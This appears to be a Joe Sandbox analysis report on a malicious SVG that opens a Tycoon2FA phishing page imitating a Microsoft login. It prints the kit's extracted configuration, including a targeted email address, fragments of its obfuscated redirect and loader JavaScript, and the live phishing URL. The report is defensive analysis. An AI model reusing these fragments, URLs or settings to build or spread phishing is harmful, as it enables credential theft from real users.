Edit tour

Windows Analysis Report
scan020250310_OrderTermax-3_19_2025.svg

Overview

General Information

Sample name:	scan020250310_OrderTermax-3_19_2025.svg
Analysis ID:	1643969
MD5:	5dbe9f0cbfd50fc6998f327e09f69609
SHA1:	de5bad92adaacb1875cbfaae86a8b1ad96aeeda9
SHA256:	8f9e3561fb5f53fa6e48746f21641c061306e4496c9802599ec1a1eaac5189b2
Infos:

Detection

HTMLPhisher, Invisible JS, Tycoon2FA

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Found malware configuration

Yara detected AntiDebug via timestamp check

Yara detected HtmlPhish10

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

Yara detected Tycoon 2FA PaaS

AI detected suspicious Javascript

HTML page contains suspicious javascript code

Yara detected JavaScript embedded in SVG

Creates files inside the system directory

Deletes files inside the Windows folder

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

Invalid T&C link found

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 7120 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 5900 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2112,i,3603987085486246013,6490216697093961164,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2172 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 8020 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\scan020250310_OrderTermax-3_19_2025.svg" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Malware Configuration

Threatname: Tycoon2FA

{
  "otherweburl": "",
  "websitenames": "[\"godaddy\", \"okta\"]",
  "bes": "[\"Apple.com\",\"Netflix.com\"]",
  "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]",
  "capnum": "1",
  "appnum": "1",
  "pvn": "0",
  "view": "",
  "pagelinkval": "Dee9I",
  "emailcheck": "mlow@termax.com",
  "webname": "rtrim(/web8/, '/')",
  "urlo": "/gkvAf6jmnBREz5yxvfgE6wSog3vYueIzzibi3xWIysUvIqpAiXk63xF05"
}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
scan020250310_OrderTermax-3_19_2025.svg	JoeSecurity_JavaScriptembeddedinSVG	Yara detected JavaScript embedded in SVG	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_77	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security

HTML

Source	Rule	Description	Author
2.18.d.script.csv	JoeSecurity_Tycoon2FA	Yara detected Tycoon 2FA PaaS	Joe Security
1.11.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.3.d.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.3.d.script.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
1.4.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.4.d.script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.8..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.14..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.13..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.14..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.13..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.19..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.0.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.0.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.0.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
1.1.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.4.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.3.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.3.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.3.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
2.4.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.5.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.5.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.4.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.1.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
2.5.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.1.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
Click to see the 22 entries

Joe Sandbox Signatures

• AV Detection
• Phishing
• Compliance
• Networking
• System Summary
• Malware Analysis System Evasion

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 2.18.d.script.csv

Malware Configuration Extractor: Tycoon2FA {"otherweburl": "", "websitenames": "[\"godaddy\", \"okta\"]", "bes": "[\"Apple.com\",\"Netflix.com\"]", "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]", "capnum": "1", "appnum": "1", "pvn": "0", "view": "", "pagelinkval": "Dee9I", "emailcheck": "mlow@termax.com", "webname": "rtrim(/web8/, '/')", "urlo": "/gkvAf6jmnBREz5yxvfgE6wSog3vYueIzzibi3xWIysUvIqpAiXk63xF05"}

Phishing

AI detected phishing page

Source: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZS	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is a well-known global technology company., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL '8rgz.mdrvgqsm.ru' does not match the legitimate domain for Microsoft., The URL uses a '.ru' domain extension, which is not typically associated with Microsoft., The URL contains random characters and does not resemble any known Microsoft subdomains., The presence of a seemingly random subdomain and domain name is a common phishing tactic. DOM: 2.3.pages.csv
Source: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZS	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is a well-known global technology company., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL '8rgz.mdrvgqsm.ru' does not match the legitimate domain for Microsoft., The URL uses a Russian domain extension '.ru', which is unusual for Microsoft., The URL contains random characters and does not resemble any known Microsoft subdomain or service., The presence of a random subdomain '8rgz.mdrvgqsm' is suspicious and indicative of phishing. DOM: 2.4.pages.csv
Source: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZS	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is a well-known global technology company., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL '8rgz.mdrvgqsm.ru' does not match the legitimate domain for Microsoft., The URL uses a '.ru' domain extension, which is not typically associated with Microsoft., The URL contains random characters and does not resemble any known Microsoft subdomains or services., The presence of a seemingly random subdomain and domain name is a common tactic in phishing attempts. DOM: 2.5.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 2.3.pages.csv, type: HTML
Source: Yara match	File source: 2.4.pages.csv, type: HTML
Source: Yara match	File source: 2.5.pages.csv, type: HTML

Yara detected Invisible JS

Source: Yara match	File source: 1.3.d.script.csv, type: HTML
Source: Yara match	File source: 1.0.pages.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML

Yara detected Obfuscation Via HangulCharacter

Source: Yara match	File source: 1.3.d.script.csv, type: HTML
Source: Yara match	File source: 2.19..script.csv, type: HTML
Source: Yara match	File source: 1.0.pages.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_77, type: DROPPED

Yara detected Tycoon 2FA PaaS

Source: Yara match	File source: 1.11.d.script.csv, type: HTML
Source: Yara match	File source: 1.4.d.script.csv, type: HTML
Source: Yara match	File source: 1.8..script.csv, type: HTML
Source: Yara match	File source: 2.14..script.csv, type: HTML
Source: Yara match	File source: 2.13..script.csv, type: HTML
Source: Yara match	File source: 1.0.pages.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 2.4.pages.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML
Source: Yara match	File source: 2.5.pages.csv, type: HTML
Source: Yara match	File source: 2.18.d.script.csv, type: HTML

AI detected suspicious Javascript

Source: 1.4.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates several high-risk behaviors, including detecting the presence of web automation tools, disabling keyboard shortcuts and right-click functionality, and redirecting the user to an external website after a delay. These behaviors are highly suspicious and indicate potential malicious intent, such as preventing the user from interacting with the page or redirecting them to a malicious site.
Source: 0.0..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: file:///C:/Users/user/Desktop/scan020250310_OrderT... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and the use of obfuscated code and URLs. The script appears to be performing malicious activities, such as redirecting to a suspicious domain and potentially collecting user credentials. Overall, the script exhibits a high level of risk and should be treated with caution.
Source: 1.3.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates high-risk behavior, including dynamic code execution through the use of `eval()`. It also appears to be heavily obfuscated, which further increases the risk. The script's purpose is unclear, and it is likely to be malicious in nature.
Source: 1.2..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://8rgz.mdrvgqsm.ru/1djFOQV/... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `atob()` and `decodeURIComponent()` to decode and execute remote code is a clear indicator of malicious intent. Additionally, the script appears to be sending user data to an untrusted domain, which poses a significant risk of data theft or other malicious activities. Overall, this script demonstrates a high level of suspicion and should be treated as a potential security threat.
Source: 1.11.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates several high-risk behaviors, including detecting the presence of web automation tools, disabling common keyboard shortcuts, preventing right-click context menus, and using a debugger-based technique to detect and redirect the user to an external domain. These behaviors are highly suspicious and indicate potential malicious intent, such as preventing user interaction and redirecting to a potentially malicious website.
Source: 1.10..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://8rgz.mdrvgqsm.ru/1djFOQV/... This script demonstrates several high-risk behaviors, including dynamic code execution, potential data exfiltration, and suspicious redirection. The use of obfuscated code, the presence of a debugger, and the attempt to redirect the user to an external domain (Google) are all strong indicators of malicious intent. Overall, this script poses a significant security risk and should be treated with caution.
Source: 0.1.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script exhibits high-risk behavior by using obfuscated code to redirect the user to an unknown domain, which is likely a phishing or malicious site. The use of the 'atob' function to decode a base64-encoded URL is a common technique used by malicious scripts to hide their true intent. Additionally, the script appears to be an anonymous function, further suggesting suspicious behavior. Overall, this script demonstrates clear signs of malicious intent and poses a high risk to the user's security.

HTML page contains suspicious javascript code

Source: anonymous function

HTTP Parser: window.location.href = atob(

Yara detected JavaScript embedded in SVG

Source: Yara match

File source: scan020250310_OrderTermax-3_19_2025.svg, type: SAMPLE

Source: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZS

HTTP Parser: Number of links: 0

Source: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZS

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://8rgz.mdrvgqsm.ru/1djFOQV/#bWxvd0B0ZXJtYXguY29t

HTTP Parser: Base64 decoded: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>EduVision - Transforming Education</title> <style> body { font-family: 'Segoe UI', Tahoma, Genev...

Source: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZS

HTTP Parser: Title: Securely Login To Account does not match URL

Source: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZS	HTTP Parser: Invalid link: Terms of use
Source: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZS	HTTP Parser: Invalid link: Privacy & cookies
Source: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZS	HTTP Parser: Invalid link: Terms of use
Source: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZS	HTTP Parser: Invalid link: Privacy & cookies
Source: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZS	HTTP Parser: Invalid link: Terms of use
Source: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZS	HTTP Parser: Invalid link: Privacy & cookies

Source: https://8rgz.mdrvgqsm.ru/1djFOQV/	HTTP Parser: function gfedgtlqcv(){ooszrpcqak = atob("pcfet0nuwvbfigh0bww+cjxodg1sigxhbmc9imvuij4kpghlywq+ciagpg1ldgegy2hhcnnldd0ivvrgltgipgogidxtzxrhig5hbwu9inzpzxdwb3j0iibjb250zw50psj3awr0ad1kzxzpy2utd2lkdggsigluaxrpywwtc2nhbgu9ms4wij4kica8dgl0bgu+ug9ydgzvbglvicygqwdlbmn5ic0gtw9kzxjuierlc2lnbjwvdgl0bgu+ciagpgxpbmsgahjlzj0iahr0chm6ly9mb250cy5nb29nbgvhcglzlmnvbs9jc3myp2zhbwlset1nb250c2vycmf0ondnahrandawozcwmczmyw1pbhk9um9ib3rvondnahramzawozqwmds1mdamzglzcgxhet1zd2fwiibyzww9inn0ewxlc2hlzxqipgogidxzdhlszt4kicagic8qiedlbmvyywwgu3r5bgvzicovciagicbib2r5ihskicagicagzm9udc1myw1pbhk6icdsb2jvdg8nlcbzyw5zlxnlcmlmowogicagicbtyxjnaw46ida7ciagicagihbhzgrpbmc6ida7ciagicagignvbg9yoiajmzmzowogicagicbsaw5llwhlawdoddogms42owogicagicbiywnrz3jvdw5klwnvbg9yoiajzjrmngy5owogicagfqokicagiggxlcbomiwgadmgewogicagicbmb250lwzhbwlsetogj01vbnrzzxjyyxqnlcbzyw5zlxnlcmlmowogicagicbjb2xvcjogizjjm2u1mdskicagih0kciagicbhihskicagicagy29sb3i6icmzndk4zgi7ciagicagihrlehqtzgvjb3jhdglvbjogbm9uztskicagih0kciagicbhomhvdmvyihskicagicagdgv4dc1kzwnvcmf0aw9uoib1bmrlc...
Source: anonymous function	HTTP Parser: var otherweburl = "";var websitenames = ["godaddy", "okta"];var bes = ["apple.com","netflix.com"];var pes = ["https:\/\/t.me\/","https:\/\/t.com\/","t.me\/","https:\/\/t.me.com\/","t.me.com\/","t.me@","https:\/\/t.me@","https:\/\/t.me","https:\/\/t.com","t.me","https:\/\/t.me.com","t.me.com","t.me\/@","https:\/\/t.me\/@","https:\/\/t.me@\/","t.me@\/","https:\/\/www.telegram.me\/","https:\/\/www.telegram.me"];var capnum = 1;var appnum = 1;var pvn = 0;var view = "";var pagelinkval = "dee9i";var emailcheck = "mlow@termax.com";var webname = "rtrim(/web8/, '/')";var urlo = "/gkvaf6jmnbrez5yxvfge6wsog3vyueizzibi3xwiysuviqpaixk63xf05";var gdf = "/ghsjvezqmju9ostq4idgjbsyzejhetneciq1tbs3ab118";var odf = "/ghykbqidjoi7vgx99zx4fbjruvj2ptmsmsytbcd650";var twa = 0;var currentreq = null;var requestsent = false;var pagedata = "";var redirecturl = "";var useragent = navigator.useragent;var browsername;var userip;var usercountry;var errorcodeexecuted = false;if(useragent.matc...

Source: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZS

HTTP Parser: <input type="password" .../> found

Source: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZS	HTTP Parser: No favicon
Source: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZS	HTTP Parser: No favicon
Source: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZS	HTTP Parser: No favicon

Source: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZS	HTTP Parser: No <meta name="author".. found
Source: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZS	HTTP Parser: No <meta name="author".. found
Source: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZS	HTTP Parser: No <meta name="author".. found

Source: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZS	HTTP Parser: No <meta name="copyright".. found
Source: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZS	HTTP Parser: No <meta name="copyright".. found
Source: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZS	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 142.250.80.68:443 -> 192.168.2.9:49693 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.9:49696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.9:49697 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.2.137:443 -> 192.168.2.9:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.9:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.9:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.3.189:443 -> 192.168.2.9:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.9:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.9:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.9:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.9:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.9:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.9:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.2.137:443 -> 192.168.2.9:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.113.3:443 -> 192.168.2.9:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.9:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.9:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.9:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.9:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.96:443 -> 192.168.2.9:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.0.100:443 -> 192.168.2.9:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.49.96:443 -> 192.168.2.9:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.0.100:443 -> 192.168.2.9:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.188:443 -> 192.168.2.9:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.9:49795 version: TLS 1.2

Source: Joe Sandbox View	IP Address: 104.21.48.1 104.21.48.1
Source: Joe Sandbox View	IP Address: 104.21.48.1 104.21.48.1
Source: Joe Sandbox View	IP Address: 140.82.113.3 140.82.113.3
Source: Joe Sandbox View	IP Address: 104.18.94.41 104.18.94.41

Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.73.143
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.63
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.215
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.73.143
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.63
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.215
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.35.163
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.35.163
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.35.163
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.35.163
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.35.163
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.35.163
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.35.163
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /1djFOQV/ HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://8rgz.mdrvgqsm.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://8rgz.mdrvgqsm.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
